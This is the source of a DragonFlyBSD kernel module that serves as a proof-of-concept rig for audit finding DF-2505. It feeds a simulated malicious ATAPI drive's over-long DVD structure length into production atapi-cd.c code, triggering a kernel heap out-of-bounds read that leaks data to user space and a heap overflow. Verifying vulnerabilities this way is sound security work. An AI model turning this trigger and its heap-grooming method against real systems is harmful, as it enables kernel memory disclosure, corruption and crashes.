⬢ DragonFlyBSD Kernel Audit
DF-2505 / dfrig4_acd.c
← back to finding ↓ download raw
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
/*
 * dfrig4_acd.c -- DF-2505 verification rig
 *                (sys/dev/disk/nata/atapi-cd.c)
 *
 * The UNMODIFIED production file atapi-cd.c is compiled into this KLD
 * (via #include, module plumbing neutralized) and its real
 * acd_read_structure() code path is driven exactly the way the kernel
 * drives it for a DVDIOCREADSTRUCTURE ioctl: `s` is a kernel
 * M_IOCTLOPS buffer of sizeof(struct dvd_struct) -- precisely what
 * kern_ioctl() allocates (sys/kern/sys_generic.c:675) and later
 * copyout()s to user (sys/kern/sys_generic.c:730).  The ONLY
 * interposed seam is ata_atapicmd() (defined after the #include so the
 * production atapi-cd.o object binds to it): READ DVD STRUCTURE
 * responses are synthesized with a hostile, over-long data-length
 * field in the response header -- exactly what a malicious ATAPI
 * device (or a firmware-compromised USB-IDE bridge) returns.  The
 * ccb build, the kmalloc(length), the ntohs(), and BOTH bcopy sites
 * (atapi-cd.c:1582-1590) are 100% production code.
 *
 * Finding under test (DF-2505):
 *
 *	case DVD_STRUCT_BCA:			(atapi-cd.c:1582)
 *	    s->length = ntohs(d->length);	<-- drive-controlled u16
 *	    bcopy(&d->data[0], &s->data[0], s->length);
 *
 * `d` is kmalloc'd with length==192 (BCA) / 2052 (MANUFACT); d->data
 * sits at +4, so only 188 / 2048 data bytes are in-bounds.  A drive
 * that claims d->length > that makes the production bcopy read PAST
 * the d allocation (kernel heap info leak into a buffer that
 * kern_ioctl then copies out to the unprivileged caller), and, for
 * s->length > 2048, also WRITE past the 2060-byte M_IOCTLOPS s
 * buffer (kernel heap overflow).
 *
 * Tests (sysctl kern.dfrig4_acd_test=<n>, read kern.dfrig4_acd_status):
 *
 *   33  CONTROL: hostile-but-legal length 188 (BCA) -> payload 0xC3 in
 *       [0,188), ALL ZERO beyond: proves the marker method has no
 *       false positives.
 *   30  BCA: hostile length 4096 vs 192-byte allocation -> 0xAA guard
 *       markers (planted around d) appear in s->data[188..]; plus the
 *       destination overflows: ~2048 bytes past the 2060-byte s buffer
 *       (0xBB guards after s smashed).
 *   31  MANUFACT: hostile length 3000 vs 2052-byte allocation.
 *   32  MAX ARM: hostile length 0xFFFF -> production bcopy reads
 *       65531 bytes from a 192-byte chunk (write contained in a big
 *       buffer): expect survival with leaked kernel-heap bytes in
 *       s->data[188..65530] (impact: leak) or a page fault (panic).
 */

#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/malloc.h>
#include <sys/sysctl.h>
#include <sys/bus.h>
#include <sys/bus_private.h>	/* struct bsd_device layout */
#include <sys/conf.h>
#include <sys/bio.h>
#include <sys/buf.h>
#include <sys/device.h>
#include <sys/nata.h>
#include <sys/dvdio.h>

/* kern_ioctl()'s private malloc type (sys/kern/sys_generic.c:675); the
 * kernel symbol is global, bind to it for a faithful destination. */
extern struct malloc_type M_IOCTLOPS[1];

/* ------------------------------------------------------------------ */
/* neutralize the production file's module/driver plumbing so this KLD */
/* registers nothing that clashes with the built-in acd module         */
/* ------------------------------------------------------------------ */
#undef DRIVER_MODULE
#undef DECLARE_MODULE
#undef MODULE_DEPEND
#undef MODULE_VERSION
#define DRIVER_MODULE(name, busname, driver, devclass, evh, arg)	/* rig */
#define DECLARE_MODULE(name, data, sub, order)			/* rig */
#define MODULE_DEPEND(name, m, v1, v2, v3)			/* rig */
#define MODULE_VERSION(m, v)					/* rig */

#include "atapi-cd.c"		/* <-- UNMODIFIED production code */

#undef DRIVER_MODULE
#undef DECLARE_MODULE
#undef MODULE_DEPEND
#undef MODULE_VERSION

/* ------------------------------------------------------------------ */
/* interposed drive-response seam                                       */
/* ------------------------------------------------------------------ */

static u_int16_t dfrig_hostile_len;	/* what the fake drive claims */
static int dfrig_armed;
static void *dfrig_last_data;		/* d pointer seen by the seam */
static int dfrig_last_count;

/*
 * Marker instrumentation: sizes > 2048 (MANUFACT's 2052) use the kmem
 * carve path on this guest -- freed chunks are NOT handed back out
 * promptly, so a freed-hole sandwich can never place markers after d.
 * Instead, the seam (which runs while production's d exists, BEFORE
 * the bcopy) allocates a few same-class chunks; the carve is
 * sequential, so they land directly after d and get read by the
 * production bcopy.  The ATTACK bytes are still only the 2-byte
 * length field; the 0xAA chunks are pure harness instrumentation.
 */
#define SEED_N 12
static int dfrig_seed;
static void *dfrig_seedp[SEED_N];
static int dfrig_seedn;

int
ata_atapicmd(device_t dev, u_int8_t *ccb, caddr_t data, int count,
	     int flags, int timeout)
{
	if (dfrig_armed && (flags & ATA_R_READ) &&
	    ccb[0] == ATAPI_READ_STRUCTURE) {
		struct dvd_miscauth *resp = (struct dvd_miscauth *)data;
		int i;

		dfrig_last_data = data;
		dfrig_last_count = count;

		/* instrumentation: markers carved after d (see above) */
		if (dfrig_seed) {
			dfrig_seedn = 0;
			for (i = 0; i < SEED_N; i++) {
				dfrig_seedp[i] = kmalloc(count, M_ACD,
							 M_WAITOK | M_ZERO);
				if (dfrig_seedp[i] == NULL)
					break;
				memset(dfrig_seedp[i], 0xAA, count);
				dfrig_seedn++;
			}
		}

		/* Malicious drive: transfers only `count` bytes (the
		 * DMA is bounded by the allocation length in ccb[8:10],
		 * as real hardware is), but CLAIMS a huge data length
		 * in the 2-byte response header. */
		bzero(data, count);
		resp->length = htons(dfrig_hostile_len);
		for (i = 0; i + 4 < count; i++)
			resp->data[i] = 0xC3;
		return 0;
	}
	return EIO;
}

/* ------------------------------------------------------------------ */
/* fake device graph: acd_read_structure() only passes dev through to  */
/* ata_atapicmd() (the seam), so a zeroed dummy device_t suffices      */
/* ------------------------------------------------------------------ */

static struct bsd_device fake_dev;

/* ------------------------------------------------------------------ */
/* status buffer                                                        */
/* ------------------------------------------------------------------ */

static char dfrig_status_buf[16384];
static int dfrig_last_rc;

#define P(fmt, ...) \
	ksnprintf(dfrig_status_buf + strlen(dfrig_status_buf), \
		  sizeof(dfrig_status_buf) - strlen(dfrig_status_buf), \
		  fmt "\n", ## __VA_ARGS__)

/* ------------------------------------------------------------------ */
/* shared analysis of a production acd_read_structure() call           */
/* ------------------------------------------------------------------ */

/* scan region of the (char*)s+12 data window and count marker classes */
static void
analyze(struct dvd_struct *s, int alloc_len, int in_bounds,
	void **sguards, int nguards, const char *tag)
{
	unsigned char *w = (unsigned char *)&s->data[0];
	int i, aa = 0, c3 = 0, nz = 0;
	int first_aa = -1, last_aa = -1, smash = 0, first_smash = -1;
	int max_off;

	P("  %s: s=%p sizeof(struct dvd_struct)=%zu s->length=%u "
	  "(drive-claimed, ntohs)", tag, s, sizeof(struct dvd_struct),
	  s->length);

	/* payload window the production bcopy wrote: [0, s->length) */
	max_off = s->length;
	if (max_off > 65535)
		max_off = 65535;
	for (i = 0; i < max_off; i++) {
		if (w[i] == 0xC3) {
			c3++;
		} else if (w[i] == 0xAA) {
			aa++;
			if (first_aa < 0)
				first_aa = i;
			last_aa = i;
		} else if (w[i] != 0x00) {
			nz++;
		}
	}
	P("  data window [0,%d): payload 0xC3 x%d, guard-marker 0xAA x%d, "
	  "other-nonzero x%d", max_off, c3, aa, nz);
	if (aa > 0)
		P("  0xAA markers span [%d..%d] -- FIRST OOB marker at +%d "
		  "(in-bounds data is [0,%d))", first_aa, last_aa, first_aa,
		  in_bounds);

	/* destination overflow: guards after s smashed? */
	if (sguards) {
		for (i = 0; i < nguards; i++) {
			size_t k;
			if (!sguards[i])
				continue;
			for (k = 0; k < sizeof(struct dvd_struct); k++)
				if (((unsigned char *)sguards[i])[k] != 0xBB) {
					smash++;
					if (first_smash < 0)
						first_smash = i;
					break;
				}
		}
		(void)first_smash;
		P("  destination side: %d/%d 0xBB guard chunks after s "
		  "smashed%s", smash, nguards,
		  smash ? " -- WRITE past the 2060-byte M_IOCTLOPS buffer" : "");
	}

	/* verdict bits: OOB READ proven if 0xAA markers appear beyond the
	 * in-bounds window (guards are only reachable past the allocation) */
	if (first_aa >= in_bounds)
		P("  PROOF (OOB READ): bcopy read past the %d-byte `d` "
		  "allocation -- 0xAA guard bytes planted OUTSIDE d appear "
		  "at data[%d..] (atapi-cd.c:1583-1584)",
		  alloc_len, first_aa);
	else
		P("  NOTE: no 0xAA beyond %d (markers absent -- placement "
		  "missed?); non-payload-nonzero x%d", in_bounds, nz);
	dfrig_last_rc = (first_aa >= in_bounds);
}

/* ------------------------------------------------------------------ */
/* tests                                                                */
/* ------------------------------------------------------------------ */

#define DG_N 160			/* d-side guard chunks */
#define MAX_TRIES 6			/* kmalloc placement retries */

/* generic run: production acd_read_structure() call, guard-sandwiched;
 * retries when kmalloc placement misses the planted holes (per-CPU
 * kmalloc magazines make LIFO placement nondeterministic) */
static void
run_case(int format, u_int16_t hostile, int d_len, int in_bounds,
	 int dest_big)
{
	void *dguards[DG_N];
	void *sguards[10];
	struct dvd_struct *s;
	void *d_hole, *s_hole;
	size_t dsize = d_len;
	int i, rc, try, placed;
	const char *tag = (format == DVD_STRUCT_BCA) ? "BCA" : "MANUFACT";

	for (try = 1; try <= MAX_TRIES; try++) {
		/* d-side guards: same kmalloc class as the production
		 * kmalloc(d_len, M_ACD) inside acd_read_structure */
		for (i = 0; i < DG_N; i++) {
			dguards[i] = kmalloc(dsize, M_ACD, M_WAITOK | M_ZERO);
			memset(dguards[i], 0xAA, dsize);
		}
		d_hole = dguards[DG_N / 2];
		kfree(dguards[DG_N / 2], M_ACD);
		dguards[DG_N / 2] = NULL;

		if (dest_big) {
			s = kmalloc(131072, M_IOCTLOPS, M_WAITOK | M_ZERO);
			sguards[0] = NULL;
			s_hole = NULL;
		} else {
			/* faithful kern_ioctl destination + guards */
			for (i = 0; i < 10; i++) {
				sguards[i] = kmalloc(
				    sizeof(struct dvd_struct), M_IOCTLOPS,
				    M_WAITOK | M_ZERO);
				memset(sguards[i], 0xBB,
				       sizeof(struct dvd_struct));
			}
			s_hole = sguards[5];
			kfree(sguards[5], M_IOCTLOPS);
			sguards[5] = NULL;
			s = kmalloc(sizeof(struct dvd_struct), M_IOCTLOPS,
				    M_WAITOK | M_ZERO);
		}

		s->format = format;
		s->layer_num = 0;
		s->agid = 0;

		dfrig_hostile_len = hostile;
		dfrig_armed = 1;
		dfrig_seed = (d_len > 2048) ? 1 : 0;	/* carve-path sizes */
		dfrig_last_data = NULL;
		dfrig_last_count = -1;
		rc = acd_read_structure((device_t)&fake_dev, s);/* PROD */
		dfrig_armed = 0;
		dfrig_seed = 0;

		placed = (dfrig_last_data == d_hole) &&
			 (dest_big || s == s_hole);
		P("== DF-2505 %s: hostile drive length %u vs %d-byte `d` "
		  "allocation (try %d/%d)%s%s ==",
		  tag, hostile, d_len, try, MAX_TRIES,
		  placed ? " [placed in guard hole]" : "",
		  dfrig_seedn ? " [0xAA marker chunks carved after d "
		  "from the seam]" : "");
		P("production acd_read_structure() rc=%d; d=%p (want hole %p,"
		  " %s) transfer %d bytes; s=%p (%zu-byte M_IOCTLOPS%s)",
		  rc, dfrig_last_data, d_hole,
		  dfrig_last_data == d_hole ? "HIT" : "MISS",
		  dfrig_last_count, s, sizeof(struct dvd_struct),
		  dest_big ? ", big container" : "");
		if (dfrig_seedn)
			P("seam-carved markers: %d chunks at %p..%p "
			  "(stride %d) -- d=%p", dfrig_seedn,
			  dfrig_seedp[0], dfrig_seedp[dfrig_seedn - 1],
			  d_len, dfrig_last_data);

		analyze(s, d_len, in_bounds, dest_big ? NULL : sguards,
			dest_big ? 0 : 10, tag);

		for (i = 0; i < dfrig_seedn; i++)
			kfree(dfrig_seedp[i], M_ACD);
		dfrig_seedn = 0;

		kfree(s, M_IOCTLOPS);
		if (!dest_big)
			for (i = 0; i < 10; i++)
				if (sguards[i])
					kfree(sguards[i], M_IOCTLOPS);
		for (i = 0; i < DG_N; i++)
			if (dguards[i])
				kfree(dguards[i], M_ACD);

		if (placed || dfrig_last_rc == 1)
			return;
	}
	P("gave up after %d tries (kmalloc placement kept missing)",
	  MAX_TRIES);
}

/* --- test 33: CONTROL, hostile-but-legal 188 ----------------------- */
static void
dfrig_test33_control(void)
{
	/* BCA: d=kmalloc(192); data at +4 -> 188 in-bounds. A compliant
	 * drive claiming exactly 188 must NOT read OOB. */
	run_case(DVD_STRUCT_BCA, 188, 192, 188, 0);
}

/* --- test 30: BCA hostile 4096 -------------------------------------- */
static void
dfrig_test30_bca(void)
{
	run_case(DVD_STRUCT_BCA, 4096, 192, 188, 0);
}

/* --- test 31: MANUFACT hostile 3000 ---------------------------------- */
static void
dfrig_test31_manufact(void)
{
	run_case(DVD_STRUCT_MANUFACT, 3000, 2052, 2048, 0);
}

/* --- test 32: BCA hostile 0xFFFF (max arm) --------------------------- */
static void
dfrig_test32_max(void)
{
	run_case(DVD_STRUCT_BCA, 0xFFFF, 192, 188, 1);
	/* note: if the read walks into an unmapped page this panics
	 * (fatal proof of unboundedness); survival = leak proof */
}

/* ------------------------------------------------------------------ */
/* sysctl plumbing                                                      */
/* ------------------------------------------------------------------ */

static int dfrig_testno;

static int
dfrig_fire_sysctl(SYSCTL_HANDLER_ARGS)
{
	int v = dfrig_testno;
	int error;

	error = SYSCTL_OUT(req, &v, sizeof(v));
	if (error != 0 || req->newptr == NULL)
		return (error);
	error = SYSCTL_IN(req, &v, sizeof(v));
	if (error != 0)
		return (error);

	dfrig_status_buf[0] = '\0';
	dfrig_last_rc = -1;
	switch (v) {
	case 30:
		dfrig_test30_bca();
		break;
	case 31:
		dfrig_test31_manufact();
		break;
	case 32:
		dfrig_test32_max();
		break;
	case 33:
		dfrig_test33_control();
		break;
	default:
		P("unknown test %d (30=BCA4096,31=MANU3000,32=MAX65535,"
		  "33=control188)", v);
		break;
	}
	P("last_rc=%d", dfrig_last_rc);
	dfrig_testno = v;
	return (0);
}

static int
dfrig_status_sysctl(SYSCTL_HANDLER_ARGS)
{
	return (SYSCTL_OUT(req, dfrig_status_buf,
			   strlen(dfrig_status_buf) + 1));
}

SYSCTL_PROC(_kern, OID_AUTO, dfrig4_acd_test, CTLTYPE_INT | CTLFLAG_RW,
	    0, 0, dfrig_fire_sysctl, "I", "fire dfrig4_acd test N");
SYSCTL_PROC(_kern, OID_AUTO, dfrig4_acd_status, CTLTYPE_STRING | CTLFLAG_RD,
	    0, 0, dfrig_status_sysctl, "A", "last dfrig4_acd test output");

static int
dfrig4_acd_modevent(module_t mod, int type, void *data)
{
	switch (type) {
	case MOD_LOAD:
		bzero(&fake_dev, sizeof(fake_dev));
		kprintf("dfrig4_acd: loaded (production atapi-cd.c compiled "
			"in; kern.dfrig4_acd_test=30|31|32|33)\n");
		return (0);
	case MOD_UNLOAD:
		return (0);
	default:
		return (EOPNOTSUPP);
	}
}

static moduledata_t dfrig4_acd_mod = { "dfrig4_acd", dfrig4_acd_modevent, 0 };

static struct mod_metadata _mod_metadata_dfrig4_acd = {
	MDT_STRUCT_VERSION, MDT_MODULE, &dfrig4_acd_mod, "dfrig4_acd"
};
DATA_SET(modmetadata_set, _mod_metadata_dfrig4_acd);
SYSINIT(dfrig4_acdmodule, SI_SUB_DRIVERS, SI_ORDER_MIDDLE,
	module_register_init, &dfrig4_acd_mod);